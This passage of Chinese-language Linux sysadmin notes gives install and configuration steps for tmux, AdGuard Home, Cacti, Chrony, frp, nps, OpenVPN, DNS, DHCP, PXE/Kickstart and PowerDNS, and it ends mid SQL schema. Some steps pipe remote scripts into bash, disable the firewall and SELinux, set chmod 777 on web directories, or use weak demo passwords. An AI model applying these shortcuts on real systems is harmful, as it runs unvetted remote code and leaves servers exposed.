将当前会话与窗口分离 tmux detach # 将当前会话与窗口分离 ``` **接入会话** ```bash tmux attach -t 0 # 使用会话编号 tmux attach -t test # 使用会话名称 ``` **列出所有会话** ```bash tmux ls Ctrl+b s ``` **杀死会话** ```bash tmux kill-session -t 0 # 使用会话编号 tmux kill-session -t <session-name> # 使用会话名称 ``` **切换会话** ```bash tmux switch -t 0 # 使用会话编号 tmux switch -t <session-name> # 使用会话名称 ``` **重命名会话** ```bash Ctrl+b $ tmux rename-session -t 0 <new-name> ``` **历史日志** ```bash ctl+b ``` 然后按 `[` **水平分隔** ```bash tmux split-window -h ``` **增加回滚缓冲区的大小** ```bash echo "set-option -g history-limit 3000" >> ~/.tmux.conf # 默认值为2000 ``` **保存指定输出** ```bash # 第 3 个会话 1000 行到 6000 行 tmux capture-pane -S -6000 -E -1000 -t 3 tmux save-buffer output.log ``` ```bash # 保存所有历史输出 tmux capture-pane -S - tmux save-buffer output.log ``` **发送按键** ```bash # 给的 1 号窗格(第二个)发送 ls + 回车 tmux send-keys -t test.1 ls Enter ``` **tmux 下使用 rz/sz 卡死的解决方案** 按住Ctrl键, 再按五次x键 (强行终断传输) --- ## 网络服务 ### AdguardTeam <p align="center"> <img src="../../../assets/img/logo/AdguardTeam.svg" width="25%"> </p> > 一个 DNS 去广告、去跟踪的服务 **项目地址** - https://github.com/AdguardTeam/AdGuardHome **安装** ```bash mkdir -p /opt/adguard && cd /opt/adguard wget https://github.com/AdguardTeam/AdGuardHome/releases/download/v0.105.0-beta.2/AdGuardHome_linux_amd64.tar.gz tar -xzvf AdGuardHome_linux_amd64.tar.gz cd AdGuardHome ./AdGuardHome -s install systemctl stop firewalld ``` **其他管理命令** ```bash ./AdGuardHome -s uninstall ./AdGuardHome -s start ./AdGuardHome -s stop ./AdGuardHome -s restart ./AdGuardHome -s status ``` 无误的话访问服务器 IP:3000 就可以看到管理页面了 **修改密码** 编辑 AdGuardHome.yaml 文件,修改 password 字段,修改的密码需要是 BCrypt 生成的,可以用在线网站实现 https://bcrypt-generator.com/ ```diff vim AdGuardHome.yaml -- password xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ++ password xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ``` 重启服务 ```bash ./AdGuardHome -s restart ``` **Tips** 配合下列项目获得更好的体验 - https://github.com/privacy-protection-tools/anti-AD --- ### butterfly > 基于 websocket 和 tornado 的 web 终端 **项目地址** - https://github.com/paradoxxxzero/butterfly **安装** ```bash pip install butterfly ``` **使用** ```bash # 走 http,使用系统认证 butterfly.server.py --host=192.168.1.1 --port=57575 --login --unsecure ``` 访问 IP:57575 , 在 web 页面中 Alt+s 可以切换主题样式 --- ### Cacti <p align="center"> <img src="../../../assets/img/logo/Cacti.png" width="30%"> </p> > Cacti 是一套基于 PHP,MySQL,SNMP 及 RRDTool 开发的网络流量监测图形分析工具。它的主要功能是用 snmp 服务获取数据,然后用 rrdtool 储存和更新数据,当用户需要查看数据的时候用 rrdtool 生成图表呈现给用户。 **官网** - https://www.cacti.net/ **什么是 RRDtools** RRDtool 是指 Round Robin Database 工具(环状数据库)。Round robin 是一种处理定量数据、以及当前元素指针的技术。想象一个周边标有点的圆环--这些点就是时间存储的位置。从圆心画一条到圆周的某个点的箭头--这就是指针。就像我们在一个圆环上一样,没有起点和终点,你可以一直往下走下去。过来一段时间,所有可用的位置都会被用过,该循环过程会自动重用原来的位置。这样,数据集不会增大,并且不需要维护。RRDtool 处理 RRD 数据库。它用向 RRD 数据库存储数据、从 RRD 数据库中提取数据。 **搭建 lamp** ```bash yum install -y yum-utils wget https://repo.mysql.com//mysql80-community-release-el7-1.noarch.rpm rpm -ivh mysql80-community-release-el7-1.noarch.rpm yum-config-manager --disable mysql80-community yum-config-manager --enable mysql57-community yum install -y mysql-community-server mysql-community-devel httpd php php-mysql php-gd libjpeg* php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-bcmath php-mhash libxml2-devel libevent-devel curl-devel net-snmp* php-snmp php-fpm systemctl enable mysqld && systemctl enable httpd ``` 初始化 mysql ```bash /usr/bin/mysqld -initialize -basedir=/usr/share/mysql -datadir=/var/lib/mysql/data/ # 或 /usr/bin/mysql -initialize -basedir=/usr/share/mysql -datadir=/var/lib/mysql/data/ systemctl start mysqld ``` ```diff vim /etc/my.cnf # 在末尾添加一行规则 + skip-grant-tables ``` ```bash systemctl restart mysqld mysql -uroot -p use mysql; update user set authentication_string=password('123456') where user='root'; exit ``` > 注意 : 此处只是为了方便演示,生产环境下请不要使用类似 123456 这类弱口令 修改 php.ini 配置文件 ```diff vim /etc/php.ini + date.timezone = "Asia/Shanghai" ``` ```bash systemctl start httpd echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php service firewalld stop ``` 然后在浏览器上访问 `ip/phpinfo.php` 能看到 phpinfo 信息就没问题 **安装配置 cacti** 编辑 `my.cnf` 配置文件 ```diff vim /etc/my.cn + [mysqld] + character-set-server=utf8mb4 + collation-server=utf8mb4_unicode_ci ``` ```bash systemctl restart mysqld mysql -uroot -p123456 create database cacti character set utf8 ; ALTER DATABASE cacti CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; exit ``` ```diff vim /etc/my.cnf # 删除末尾规则 - skip-grant-tables ``` ```bash systemctl restart mysqld mysql -uroot -p123456 set global validate_password_policy=LOW; set global validate_password_length=6; alter user 'root'@'localhost' identified by '123456'; grant all privileges on cacti.* to cacti@localhost identified by '1qaz@WSX'; GRANT SELECT ON mysql.time_zone_name TO cacti@localhost IDENTIFIED BY '1qaz@WSX'; flush privileges ; mysql_tzinfo_to_sql /usr/share/zoneinfo exit; systemctl restart mysqld ``` 导入 cacti 数据库脚本 ```bash cd /usr/local/src/ wget https://www.cacti.net/downloads/cacti-1.2.8.zip unzip cacti-1.2.8.zip mysql -uroot -p123456 use cacti ; source /usr/local/src/cacti-1.2.8/cacti.sql ; exit ``` ```bash cd /var/www/html mkdir cacti cp -r /usr/local/src/cacti-1.2.8/* /var/www/html/cacti ``` ```diff vim /var/www/html/cacti/include/config.php - $database_type = 'mysql'; - $database_default = 'cacti'; - $database_hostname = 'localhost'; - $database_username = 'cactiuser'; - $database_password = 'cactiuser'; - $database_port = '3306'; - $database_ssl = false; # 把原来的配置信息修改成以下信息: + $database_type = 'mysql'; + $database_default = 'cacti'; + $database_hostname = 'localhost'; + $database_username = 'cacti'; + $database_password = '1qaz@WSX'; + $database_port = '3306'; + $database_ssl = false; ``` ```bash useradd -s /sbin/nologin cacti mkdir /var/www/html/cacti/rra/log chown -R cacti /var/www/html/cacti/rra/log/ ``` 配置定时任务 ```diff crontab -e + */5 * * * * /usr/bin/php /var/www/html/cacti/poller.php > /dev/null 2>&1 ``` ``` crontab -l # 查看是否写正确 systemctl enable crond systemctl start crond ``` **安装其他组件** ```bash cd /tmp wget https://oss.oetiker.ch/rrdtool/pub/rrdtool-1.7.0.tar.gz wget https://www.cacti.net/downloads/spine/cacti-spine-1.2.1.tar.gz yum install -y glib2-devel cairo-devel libxml2-devel pango pango-devel help2man ``` **安装 rrdtool 工具** ```bash tar zxvf rrdtool-1.7.0.tar.gz cd rrdtool-1.7.0 ./configure --prefix=/usr/local/bin/rrdtool make make install ``` **安装 cacti-spine 工具** ```bash cd ../ tar zxvf cacti-spine-1.2.1.tar.gz cd cacti-spine-1.2.1 ./configure --prefix=/usr/local/spine make make install ``` ```diff vim /usr/local/spine/etc/spine.conf + DB_Host localhost + DB_Database cacti + DB_User cacti + DB_Pass 1qaz@WSX + DB_Port 3306 ``` ```bash setenforce 0 cd /var/www/html/cacti/log ls # 如果发现没有 cacti.log 文件时,可以执行一下命令: touch cacti.log chmod 777 cacti.log chmod 777 /var/www/html/cacti/resource/snmp_queries/ chmod 777 /var/www/html/cacti/resource/script_server/ chmod 777 /var/www/html/cacti/resource/script_queries/ chmod 777 /var/www/html/cacti/scripts/ chmod 777 /var/www/html/cacti/log/ chmod 777 /var/www/html/cacti/cache/boost/ chmod 777 /var/www/html/cacti/cache/mibcache/ chmod 777 /var/www/html/cacti/cache/realtime/ chmod 777 /var/www/html/cacti/cache/spikekill/ ``` **如果出现 csrf-secret.php not writable** ```diff systemctl edit php-fpm.service + [Service] + ReadWritePaths = /usr/share/webapps/cacti/include/vendor/csrf ``` ```bash chmod 777 /var/www/html/cacti/include/vendor/csrf systemctl restart php-fpm.service ``` 在浏览器访问:`http://ip/cacti` 默认密码 admin/admin --- ### Chrony > 一个时间同步软件,可用于搭建类 NTP 时间服务 **官网** - https://chrony.tuxfamily.org/ **简介** 它由两个程序组成:chronyd 和 chronyc. chronyd 是一个后台运行的守护进程,用于调整内核中运行的系统时钟和时钟服务器同步.它确定计算机增减时间的比率,并对此进行补偿. chronyc 是用来监控 chronyd 性能和配置其参数程序 **安装** ```bash yum install -y chrony ``` **配置文件** ```diff vim /etc/chrony.conf + server time1.aliyun.com iburst + server time2.aliyun.com iburst + server time3.aliyun.com iburst + server time4.aliyun.com iburst + server time5.aliyun.com iburst + server time6.aliyun.com iburst + server time7.aliyun.com iburst # 或 + server time1.google.com iburst + server time2.google.com iburst + server time3.google.com iburst + server time4.google.com iburst ``` **启服务** ```bash systemctl stop ntpd systemctl disable ntpd systemctl enable chronyd.service systemctl start chronyd.service ``` **查看同步状态** ```bash chronyc sourcestats # 检查 ntp 源服务器状态 chronyc sources -v # 检查 ntp 详细同步状态 chronyc # 进入交互模式 activity ``` --- ### clash **项目地址** - https://github.com/Dreamacro/clash **部署** ```bash wget https://github.com/Dreamacro/clash/releases/download/v1.11.4/clash-linux-amd64-v1.11.4.gz gzip -d clash-linux-amd64-v1.11.4.gz mv clash-linux-amd64-v1.11.4 /usr/local/bin/clash chmod +x /usr/local/bin/clash wget https://raw.githubusercontent.com/wp-statistics/GeoLite2-Country/master/GeoLite2-Country.mmdb.gz gzip -d GeoLite2-Country.mmdb.gz mv GeoLite2-Country.mmdb ~/.config/clash/Country.mmdb vim ~/.config/clash/config.yaml ``` **负载均衡配置** ```yaml proxy-groups: - name: "test" type: load-balance proxies: - ss1 - ss2 - vmess1 - vmess2 url: 'http://www.gstatic.com/generate_204' interval: 300 strategy: round-robin ``` **辅助项目** - [yichengchen/clashX](https://github.com/yichengchen/clashX) - [Fndroid/clash_for_windows_pkg](https://github.com/Fndroid/clash_for_windows_pkg) - [ccg2018/ClashA](https://github.com/ccg2018/ClashA) --- ### cloud-torrent > web torrent 下载服务 **项目地址** - https://github.com/jpillora/cloud-torrent **安装** ``` curl https://i.jpillora.com/cloud-torrent! | bash ``` **运行** ``` cloud-torrent -o ``` --- ### code-server > 在线 vscode 服务器 **项目地址** - https://github.com/cdr/code-server **安装** ```bash # debian wget https://github.com/cdr/code-server/releases/download/v4.5.2/code-server_4.5.2_amd64.deb dpkg -i code-server_4.5.2_amd64.deb # centos wget https://github.com/cdr/code-server/releases/download/v4.5.2/code-server-4.5.2-amd64.rpm rpm -i code-server-4.5.2-amd64.rpm ``` **运行** ```bash export PASSWORD=123456 code-server --port 8080 --host 0.0.0.0 --auth password ``` --- ### DHCP > DHCP 服务程序用于为客户端主机分配可用的 IP 地址 **安装** ``` yum install -y dhcp ``` **复制一份示例** ``` cp /usr/share/doc/dhcp-4*/dhcpd.conf.example /etc/dhcp/dhcpd.conf ``` **修改配置文件** ```vim vim /etc/dhcp/dhcpd.conf ddns-update-style interim; # 设置 DNS 的动态更新方式为 interim option domain-name-servers 8.8.8.8; # 指定 DNS 服务器地址 default-lease-time 43200; # 指定默认租约的时间长度,单位为秒 max-lease-time 86400; # 指定最大租约的时间长度 # 以下为某区域的 IP 地址范围 subnet 192.168.1.0 netmask 255.255.255.0 { # 定义 DHCP 作用域 range 192.168.1.20 192.168.1.100; # 指定可分配的 IP 地址范围 option routers 192.168.1.254; # 指定该网段的默认网关 } ``` ```bash dhcpd -t # 检测语法有无错误 service dhcpd start # 开启 dhcp 服务 firewall-cmd --zone=public --add-service=dhcp --permanent firewall-cmd --reload # 记得防火墙放行 cat /var/lib/dhcpd/dhcpd.leases # 查看租约文件,了解租用情况 ``` --- ### DNS > DNS 用于将人类可读的域名(例如,www.google.com) 进行域名解析为机器可读的 IP 地址 **安装** ``` yum install -y bind-* ``` **主配置文件** ```vim vim /etc/named.conf options { listen-on port 53 { any; }; listen-on-v6 port 53 { any; }; allow-query { any; }; } ``` **区域配置文件** ```vim vim /etc/named.rfc1912.zones zone "abc.com" IN { type master; file "abc.localhost"; }; zone "1.1.1.in-addr.arpa" IN { type master; file "abc.loopback"; }; zone "2.1.1.in-addr.arpa" IN { type master; file "www.loopback"; }; ``` **创建区域数据文件** ```bash cd /var/named/ cp named.localhost abc.localhost cp named.loopback abc.loopback cp named.loopback www.loopback chown named abc.localhost chown named abc.loopback chown named www.loopback ``` **域名正向反向解析配置文件** ```vim vim /var/named/abc.localhost $TTL 1D @ IN SOA @ rname.invalid. ( 0 ; serial 1D ; refresh 1H ; retry 1W ; expire 3H ) ; minimum NS @ A 127.0.0.1 AAAA ::1 ftp A 1.1.1.1 www A 1.1.2.1 ``` ```vim vim /var/named/abc.loopback $TTL 1D @ IN SOA @ rname.invalid. ( 0 ; serial 1D ; refresh 1H ; retry 1W ; expire 3H ) ; minimum NS @ A 127.0.0.1 AAAA ::1 PTR localhost. 1 PTR ftp.abc.com. ``` ```vim vim /var/named/www.loopback $TTL 1D @ IN SOA @ rname.invalid. ( 0 ; serial 1D ; refresh 1H ; retry 1W ; expire 3H ) ; minimum NS @ A 127.0.0.1 AAAA ::1 PTR localhost. 1 PTR www.abc.com. ``` **启服务** ```bash named-checkconf named-checkzone abc.com abc.localhost named-checkzone abc.com abc.loopback named-checkzone abc.com www.loopback service named restart setenforce 0 # 关闭 selinux firewall-cmd --zone=public --add-service=dns --permanent firewall-cmd --reload ``` **更多配置案例** 见 [dns.md](./实验/dns.md) --- ### focalboard > Focalboard 是一个开源的、自托管的 Trello、concept 和 Asana 的替代品。 **项目地址** - https://github.com/mattermost/focalboard **自托管 Mattermost 服务器** ```bash docker run --name mattermost-preview -d --publish 8065:8065 mattermost/mattermost-preview ``` 启动完毕后访问 127.0.0.1:8065 --- ### frp > 快速反向代理,将本地服务器映射到公网。 **项目地址** - https://github.com/fatedier/frp **服务端安装** ```bash wget https://github.com/fatedier/frp/releases/download/v0.34.3/frp_0.34.3_linux_amd64.tar.gz tar -zxvf frp_0.34.3_linux_amd64.tar.gz cd frp_0.34.3_linux_amd64 ``` 编辑 frps 配置文件 ```bash vim frps.ini [common] bind_port = 7000 dashboard_port = 7500 dashboard_user = admin dashboard_pwd = admin ``` 第1行为 frps 和 frpc 之间端口,第 2 行为监控页面 web 地址,第 3.4 行为监控页面账号密码 **服务端运行** 运行 frps,-c 参数用于指定配置文件,在同级目录下的话可以直接运行 frps ```bash service firewalld stop # 先关闭防火墙 ./frps -c frps.ini ``` 此时服务器已在运行,可以访问 服务器ip:7500 访问 web 监控界面 **客户端安装** ```bash wget https://github.com/fatedier/frp/releases/download/v0.32.0/frp_0.32.0_linux_amd64.tar.gz tar -zxvf frp_0.32.0_linux_amd64.tar.gz cd frp_0.32.0_linux_amd64 rm -rf frps* ``` 这里最后一句是 rm -rf frps* 与服务端操作的最后一句不相同。 编辑 frpc 配置文件 ```bash vim frpc.ini [common] server_addr = 1.1.1.1 # 填服务器IP server_port = 7000 # 填服务器端口 # ssh的配置 [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 10000 use_compression = true [DSM] type = tcp local_ip = 192.168.1.1 # NAS 在局域网中的内网 IP local_port = 5000 remote_port = 10002 ``` 这样就在本地上新增了"DSM"和"SSH"两个可供公网访问的服务了 **客户端运行** ```bash ./frpc -c frpc.ini # -c 参数用于指定配置文件,在同级目录下的话 可以直接运行 .frpc ``` SSH 连接测试 ```bash ssh root@1.1.1.1 -p 10000 ``` 这个时候相当于在连接客户端的 SSH 服务 --- ### Kicktart > 是 Kicktart 不是 kickstarter,这玩意不能众筹,这是用于联网安装系统时给 PXE 服务提供应答文件的 - 调用服务:PXE + TFTP +FTP + DHCP + Kicktart - 环境:VMWARE - 1台无人值守系统——RHEL 7——192.168.10.10 - 1台客户端——未安装操作系统 注:vmware 中做实验需要在虚拟网络编辑器中将 dhcp 服务关闭 **配置 DHCP** DHCP 服务程序用于为客户端主机分配可用的 IP 地址,而且这是服务器与客户端主机进行文件传输的基础 ```bash yum install -y dhcp ``` ```vim # 这里使用的配置文件有两个主要区别:允许了 BOOTP 引导程序协议,旨在让局域网内暂时没有操作系统的主机也能获取静态 IP 地址;在配置文件的最下面加载了引导驱动文件 pxelinux.0 (这个文件会在下面的步骤中创建) ,其目的是让客户端主机获取到 IP 地址后主动获取引导驱动文件,自行进入下一步的安装过程. vim /etc/dhcp/dhcpd.conf allow booting; allow bootp; ddns-update-style interim; ignore client-updates; subnet 192.168.0.0 netmask 255.255.255.0 { option subnet-mask 255.255.255.0; option domain-name-servers 192.168.10.10; range dynamic-bootp 192.168.10.100 192.168.10.200; default-lease-time 21600; max-lease-time 43200; next-server 192.168.10.10; filename "pxelinux.0"; } ``` ```bash systemctl restart dhcpd systemctl enable dhcpd ``` **配置 TFTP 服务** 配置 TFTP 服务程序,为客户端主机提供引导及驱动文件.当客户端主机有了基本的驱动程序之后,再通过 vsftpd 服务程序将完整的光盘镜像文件传输过去. ```bash yum install -y tftp-server xinetd ``` ```vim vim /etc/xinetd.d/tftp service tftp { socket_type = dgram protocol = udp wait = yes user = root server = /usr/sbin/in.tftpd server_args = -s /var/lib/tftpboot disable = no per_source = 11 cps = 100 2 flags = IPv4 } ``` ```bash systemctl restart xinetd systemctl enable xinetd firewall-cmd --permanent --add-port=69/udp # 放行 tftp firewall-cmd --reload ``` **配置 SYSLinux 服务** SYSLinux 是一个用于提供引导加载的服务程序.与其说 SYSLinux 是一个服务程序,不如说更需要里面的引导文件,在安装好 SYSLinux 服务程序软件包后, `/usr/share/syslinux` 目录中会出现很多引导文件. ```bash yum install -y syslinux # 首先把 SYSLinux 提供的引导文件复制到 TFTP 服务程序的默认目录中,也就是 pxelinux.0,这样客户端主机就能够顺利地获取到引导文件.另外在 RHEL 7 系统光盘镜像中也有一些需要调取的引导文件. cd /var/lib/tftpboot cp /usr/share/syslinux/pxelinux.0 . mkdir /media/cdrom mount /dev/cdrom /media/cdrom # 确认光盘镜像已经被挂载到 /media/cdrom 目录后,使用复制命令将光盘镜像中自带的一些引导文件也复制到 TFTP 服务程序的默认目录中. cp /media/cdrom/images/pxeboot/{vmlinuz,initrd.img} . cp /media/cdrom/isolinux/{vesamenu.c32,boot.msg} . # 在 TFTP 服务程序的目录中新建 pxelinux.cfg 目录,虽然该目录的名字带有后缀,但依然也是目录,而非文件!将系统光盘中的开机选项菜单复制到该目录中,并命名为 default.这个 default 文件就是开机时的选项菜单. mkdir pxelinux.cfg cp /media/cdrom/isolinux/isolinux.cfg pxelinux.cfg/default ``` ```vim # 默认的开机菜单中有两个选项,要么是安装系统,要么是对安装介质进行检验.既然我们已经确定采用无人值守的方式安装系统,还需要为每台主机手动选择相应的选项,未免与我们的主旨 (无人值守安装) 相悖.现在我们编辑这个 default 文件,把第 1 行的 default 参数修改为 linux,这样系统在开机时就会默认执行那个名称为 linux 的选项了.对应的 linux 选项大约在 64 行,我们将默认的光盘镜像安装方式修改成 FTP 文件传输方式,并指定好光盘镜像的获取网址以及 Kickstart 应答文件的获取路径 # 修改第 1 行和第 64 行 vim pxelinux.cfg/default 1 default linux 64 append initrd=initrd.img inst.stage2=ftp://192.168.10.10 ks=ftp://192.168.10.10/pub/ks.cfg quiet ``` **配置 VSftpd 服务** ```bash yum install -y vsftpd systemctl restart vsftpd systemctl enable vsftpd ln -s '/usr/lib/systemd/system/vsftpd.service' '/etc/systemd/system/multi-user.target.wants/vsftpd.service' cp -rvf /media/cdrom/* /var/ftp firewall-cmd --permanent --add-service=ftp firewall-cmd --reload setsebool -P ftpd_connect_all_unreserved=on ``` **创建 KickStart 应答文件** ```bash cp ~/anaconda-ks.cfg /var/ftp/pub/ks.cfg chmod +r /var/ftp/pub/ks.cfg ``` ```vim # 修改第 7、27、35 行 vim /var/ftp/pub/ks.cfg url --url=ftp://192.168.0.105 timezone Asia/Shanghai --isUtc clearpart --all --initlabel # 如果觉得系统默认自带的应答文件参数较少,不能满足生产环境的需求,则可以通过 Yum 软件仓库来安装 system-config-kickstart 软件包.这是一款图形化的 Kickstart 应答文件生成工具,可以根据自己的需求生成自定义的应答文件,然后将生成的文件放到 /var/ftp/pub 目录中并将名字修改为 ks.cfg 即可. ``` **Source & Reference** - [第19章 使用 PXE+Kickstart 无人值守安装服务.](https://www.linuxprobe.com/chapter-19.html) --- ### nps > 、一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等……,并带有功能强大的web管理端。 **项目地址** - https://github.com/cnlh/nps **服务端安装** ```bash mkdir nps cd nps wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz tar -zxvf linux_amd64_server.tar.gz ./nps install nps start # 关闭防火墙 systemctl stop firewalld ``` 访问 ip:8080 ,默认用户名和密码 admin/123 **客户端安装** 在服务器端新增客户端,点击客户端列表前的+号,复制启动命令 执行启动命令,linux 直接执行即可,windows 将 ./npc 换成 npc.exe 用 cmd 执行 **使用示例** - https://ehang-io.github.io/nps/#/example --- ### OpenVPN <p align="center"> <img src="../../../assets/img/logo/OpenVPN.png" width="30%"> </p> > OpenVPN 是一个用于创建虚拟专用网络加密通道的软件包 **官网** - https://openvpn.net/ **快速安装脚本** - [Nyr/openvpn-install](https://github.com/Nyr/openvpn-install) ```bash wget https://git.io/vpn -O openvpn-install.sh && bash openvpn-install.sh ``` **centos 下安装 OpenVPN** - **前期准备** ```bash echo "net.ipv4.ip_forward = 1" >>/etc/sysctl.conf sysctl -p service firewalld stop setenforce 0 cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime date ``` **安装 OpenVPN** ```bash curl -o /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo yum clean all && yum makecache yum install -y openvpn ``` **安装 easyrsa** ```bash cd /root wget https://github.com/OpenVPN/easy-rsa/archive/v3.0.7.tar.gz mv v3.0.7.tar.gz easy-rsa-3.0.7.tar tar xf easy-rsa-3.0.7.tar cd easy-rsa-3.0.7/easyrsa3 cp -a vars.example vars ``` ```diff vim vars # 国家 ++ set_var EASYRSA_REQ_COUNTRY "CN" # 省 ++ set_var EASYRSA_REQ_PROVINCE "BJ" # 城市 ++ set_var EASYRSA_REQ_CITY "BeiJing" # 组织 ++ set_var EASYRSA_REQ_ORG "zhang" # 邮箱 ++ set_var EASYRSA_REQ_EMAIL "zhang@test.com" # 拥有者 ++ set_var EASYRSA_REQ_OU "ZJ" # 长度 ++ set_var EASYRSA_KEY_SIZE 2048 # 算法 ++ set_var EASYRSA_ALGO rsa # CA证书过期时间,单位天 ++ set_var EASYRSA_CA_EXPIRE 36500 # 签发证书的有效期是多少天,单位天 ++ set_var EASYRSA_CERT_EXPIRE 36500 ``` **初始化与创建CA根证书** ```bash ./easyrsa init-pki ./easyrsa build-ca # 在这部分需要输入PEM密码 PEM pass phrase,输入两次,此密码必须记住,不然以后不能为证书签名。 # 还需要输入common name 通用名,如:openvpen,这个你自己随便设置个独一无二的。 ``` **生成服务端证书** ```bash ./easyrsa build-server-full server nopass # 为服务端生成证书对并在本地签名。nopass参数生成一个无密码的证书;在此过程中会让你确认ca密码 ./easyrsa gen-dh # 创建Diffie-Hellman ``` **生成ta.key** ```bash openvpn --genkey --secret ta.key cp -a pki/ca.crt /etc/openvpn/ cp -a pki/private/server.key /etc/openvpn/ cp -a pki/issued/server.crt /etc/openvpn/ cp -a pki/dh.pem /etc/openvpn/ cp -a ta.key /etc/openvpn/ ``` **制作 Client 端证书** 每一个登录的VPN客户端需要有一个证书,每个证书在同一时刻只能供一个客户端连接 ```bash ./easyrsa gen-req zhangsan nopass ./easyrsa sign-req client zhangsan ``` **配置 OpenVPN 服务端** 拷贝 OpenVPN 配置文件 ```bash cp /usr/share/doc/openvpn-*/sample/sample-config-files/server.conf /etc/openvpn/ ``` 配置服务端的配置文件 ```diff vim /etc/openvpn/server.conf ++ local 0.0.0.0 # 表示openvpn服务端的监听地址 -- proto udp ++ proto tcp -- ca ca.crt -- cert server.crt -- key server.key -- dh dh2048.pem ++ ca /etc/openvpn/ca.crt ++ cert /etc/openvpn/server.crt ++ key /etc/openvpn/server.key ++ dh /etc/openvpn/dh.pem -- tls-auth ta.key 0 ++ tls-auth /etc/openvpn/ta.key 0 # 服务端第二个参数为0;同时客户端也要有此文件,且client.conf中此指令的第二个参数需要为1。 ++ compress lz4-v2 ++ push "compress lz4-v2" # openvpn 2.4版本的vpn才能设置此选项。表示服务端启用lz4的压缩功能,传输数据给客户端时会压缩数据包。 # Push后在客户端也配置启用lz4的压缩功能,向服务端发数据时也会压缩。如果是2.4版本以下的老版本,则使用用comp-lzo指令 ++ status openvpn-status.log # 在文件中输出当前的连接信息,每分钟截断并重写一次该文件 -- explicit-exit-notify 1 # 当服务器重新启动时,通知客户端,以便它可以自动重新连接。仅在UDP协议是可用 ``` **开启 openvpn 服务** ```bash systemctl start openvpn@server ss -tnlp ``` **测试连接** ```bash sz /root/easy-rsa-3.0.7/easyrsa3/pki/private/zhangsan.key sz /root/easy-rsa-3.0.7/easyrsa3/pki/issued/zhangsan.crt sz /etc/openvpn/ca.crt sz /etc/openvpn/ta.key ``` ```bash vim zhangsan.ovpn client dev tun proto tcp remote x.x.x.x 1194 resolv-retry infinite nobind ;user nobody ;group nobody persist-key persist-tun ca ca.crt cert zhangsan.crt key zhangsan.key remote-cert-tls server tls-auth ta.key 1 cipher AES-256-CBC compress lz4-v2 verb 3 ;mute 20 ``` ``` sz zhangsan.ovpn ``` 管理员身份运行 openvpn.exe 将指定配置文件放入文件夹,连接 - **docker 搭建 OpenVPN** **docker 安装** ```bash systemctl start docker docker pull kylemanna/openvpn:2.4 mkdir -p /data/openvpn docker run -v /data/openvpn:/etc/openvpn --rm kylemanna/openvpn:2.4 ovpn_genconfig -u udp://<你的IP> ``` **生成密钥文件** ```bash docker run -v /data/openvpn:/etc/openvpn --rm -it kylemanna/openvpn:2.4 ovpn_initpki 输入私钥密码 (输入时是看不见的) : Enter PEM pass phrase:12345678 再输入一遍 Verifying - Enter PEM pass phrase:12345678 输入一个 CA 名称 (我这里直接回车) Common Name (eg: your user, host, or server name) [Easy-RSA CA]: 输入刚才设置的私钥密码 (输入完成后会再让输入一次) Enter pass phrase for /etc/openvpn/pki/private/ca.key:12345678 ``` > 注意 : 此处只是为了方便演示,生产环境下请不要使用类似 12345678 这类弱口令 **生成客户端证书 (这里的 user 改成你想要的名字)** ```bash docker run -v /data/openvpn:/etc/openvpn --rm -it kylemanna/openvpn:2.4 easyrsa build-client-full user nopass 输入刚才设置的密码 Enter pass phrase for /etc/openvpn/pki/private/ca.key:12345678 ``` **导出客户端配置** ```bash mkdir -p /data/openvpn/conf docker run -v /data/openvpn:/etc/openvpn --rm kylemanna/openvpn:2.4 ovpn_getclient user > /data/openvpn/conf/user.ovpn ``` **启动 OpenVPN 服务** ```bash docker run --name openvpn -v /data/openvpn:/etc/openvpn -d -p 1194:1194/udp --cap-add=NET_ADMIN kylemanna/openvpn:2.4 service firewalld stop ``` **将登录的证书下载到本地** ```bash yum install -y lrzsz sz /data/openvpn/conf/whsir.ovpn ``` 在 openvpn 的安装目录下,有个 config 目录,将服务器上的 user.ovpn,放在该目录下,运行 OpenVPN GUI,右键 whsir 连接 connect **Source & Reference** - [通过 docker 搭建 openvpn](https://blog.whsir.com/post-2809.html) --- ### PowerDNS <p align="center"> <img src="../../../assets/img/logo/PowerDNS.png" width="33%"> </p> > 一种 DNS 服务器, 优点, 支持 PHP 网页管理, 支持直接在数据库中添加 DNS 地址记录, 比较灵活, 方便 **项目地址** - https://github.com/PowerDNS/pdns **安装** 以 Ubuntu16.04 为例 先配置好 mysql ```bash apt -y install mariadb-server mariadb-client service mariadb start mysql_secure_installation # 初始化下 Mysql,此时配置密码,这里举例为 123456 ``` 为 PowerDNS 创建一个数据库,并创建一个数据库用户 powerdns,密码 123456 ```sql mysql -u root -p CREATE DATABASE powerdns; GRANT ALL ON powerdns.* TO 'powerdns'@'localhost' IDENTIFIED BY '123456'; GRANT ALL ON powerdns.* TO 'powerdns'@'localhost.localdomain' IDENTIFIED BY '123456'; FLUSH PRIVILEGES; ``` > 注意 : 此处只是为了方便演示,生产环境下请不要使用类似 123456 这类弱口令 创建 PowerDNS 所需的表 ```sql CREATE DATABASE IF NOT EXISTS powerdns; USE powerdns; CREATE TABLE domains ( id INT AUTO_INCREMENT, name VARCHAR(255) NOT NULL, master VARCHAR(128) DEFAULT NULL, last_check INT DEFAULT NULL, type VARCHAR(6) NOT NULL, notified_serial INT DEFAULT NULL, account VARCHAR(40) CHARACTER SET 'utf8' DEFAULT NULL, PRIMARY KEY (id) ) Engine=InnoDB CHARACTER SET 'latin1'; CREATE UNIQUE INDEX name_index ON domains(name); CREATE TABLE records ( id BIGINT AUTO_INCREMENT, domain_id INT DEFAULT NULL, name VARCHAR(255) DEFAULT NULL, type VARCHAR(10) DEFAULT NULL, content VARCHAR(64000) DEFAULT NULL, ttl INT DEFAULT NULL, prio INT DEFAULT NULL, change_date INT DEFAULT NULL, disabled TINYINT(1) DEFAULT 0, ordername VARCHAR(255) BINARY DEFAULT NULL, auth TINYINT(1) DEFAULT 1, PRIMARY KEY (id) ) Engine=InnoDB 